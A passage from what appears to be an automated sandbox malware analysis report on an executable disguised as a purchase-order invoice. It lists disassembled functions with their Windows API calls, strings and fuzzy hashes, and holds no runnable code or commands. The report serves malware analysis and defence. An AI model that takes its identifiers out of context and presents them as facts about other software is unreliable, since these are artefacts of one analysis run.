                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                            • String ID: AutoIt3GUI$Container
                                                                                            • API String ID: 3380330463-3941886329
                                                                                            • Opcode ID: a9ff7069b9b8d6ccd49eba872ad7efd2467de888f1098c4430e935d21ee713db
                                                                                            • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                            • Opcode Fuzzy Hash: a9ff7069b9b8d6ccd49eba872ad7efd2467de888f1098c4430e935d21ee713db
                                                                                            • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                            Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcslen.LIBCMT ref: 00409A61
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID: 0vH
                                                                                            • API String ID: 1143807570-3662162768
                                                                                            • Opcode ID: c09e7a550d587b66afd16ae3f9308ee528eb86d4dd4285a1c93ad52bd0ffcd86
                                                                                            • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                            • Opcode Fuzzy Hash: c09e7a550d587b66afd16ae3f9308ee528eb86d4dd4285a1c93ad52bd0ffcd86
                                                                                            • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                            Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: HH$HH
                                                                                            • API String ID: 0-1787419579
                                                                                            • Opcode ID: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                                                                                            • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                            • Opcode Fuzzy Hash: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                                                                                            • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                            Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: InfoItemMenu_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 2223754486-4108050209
                                                                                            • Opcode ID: 4788cf6f182db8212a4dd4ca04636ab1929000af0f3277abda7ed9995d735732
                                                                                            • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                            • Opcode Fuzzy Hash: 4788cf6f182db8212a4dd4ca04636ab1929000af0f3277abda7ed9995d735732
                                                                                            • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                                            Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                            • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend
                                                                                            • String ID: '
                                                                                            • API String ID: 3850602802-1997036262
                                                                                            • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                            • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                                                                                            • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                                                                                            • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                                                                                            Function 00444571 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: 0
                                                                                            • API String ID: 0-4108050209
                                                                                            • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                            • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                                                                                            • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                                                                                            • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                                                                                            Function 0045126C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                                                                                            • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend
                                                                                            • String ID: Combobox
                                                                                            • API String ID: 3850602802-2096851135
                                                                                            • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                            • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                                                                                            • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                                                                                            • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                                                                                            Function 004515AB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                                                                                            • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: LengthMessageSendTextWindow
                                                                                            • String ID: edit
                                                                                            • API String ID: 2978978980-2167791130
                                                                                            • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                            • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                                                                                            • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                                                                                            • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                                                                                            Function 00474827 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72sleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • Sleep.KERNEL32(00000000), ref: 00474833
                                                                                            • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: GlobalMemorySleepStatus
                                                                                            • String ID: @
                                                                                            • API String ID: 2783356886-2766056989
                                                                                            • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                            • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                                                                                            • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                                                                                            • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                                                                                            Function 004647A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: htonsinet_addr
                                                                                            • String ID: 255.255.255.255
                                                                                            • API String ID: 3832099526-2422070025
                                                                                            • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                            • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                                                                                            • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                                                                                            • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                                                                                            Function 004694DE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend_wcslen
                                                                                            • String ID: ComboBox$ListBox
                                                                                            • API String ID: 455545452-1403004172
                                                                                            • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                            • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                                                                                            • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                                                                                            • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                                                                                            Function 00442AFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: InternetOpen
                                                                                            • String ID: <local>
                                                                                            • API String ID: 2038078732-4266983199
                                                                                            • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                            • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                                                                                            • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                                                                                            • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                                                                                            Function 004695F7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend_wcslen
                                                                                            • String ID: ComboBox$ListBox
                                                                                            • API String ID: 455545452-1403004172
                                                                                            • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                            • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                                                                                            • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                                                                                            • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                                                                                            Function 0046956F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend_wcslen
                                                                                            • String ID: ComboBox$ListBox
                                                                                            • API String ID: 455545452-1403004172
                                                                                            • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                            • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                                            • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                                            • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                                            Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strncmp
                                                                                            • String ID: ,$UTF8)
                                                                                            • API String ID: 909875538-2632631837
                                                                                            • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                            • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                                            • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                                            • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                                            Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _strncmp
                                                                                            • String ID: ,$UTF8)
                                                                                            • API String ID: 909875538-2632631837
                                                                                            • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                            • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                                            • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                                            • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                                            Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            • wsprintfW.USER32 ref: 004560E9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend_mallocwsprintf
                                                                                            • String ID: %d/%02d/%02d
                                                                                            • API String ID: 1262938277-328681919
                                                                                            • Opcode ID: dc5fd9a877cd0fc352ed6de9b5f97ee6fb2dcbb154e3a48ad4a1e49fbb654ae8
                                                                                            • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                                            • Opcode Fuzzy Hash: dc5fd9a877cd0fc352ed6de9b5f97ee6fb2dcbb154e3a48ad4a1e49fbb654ae8
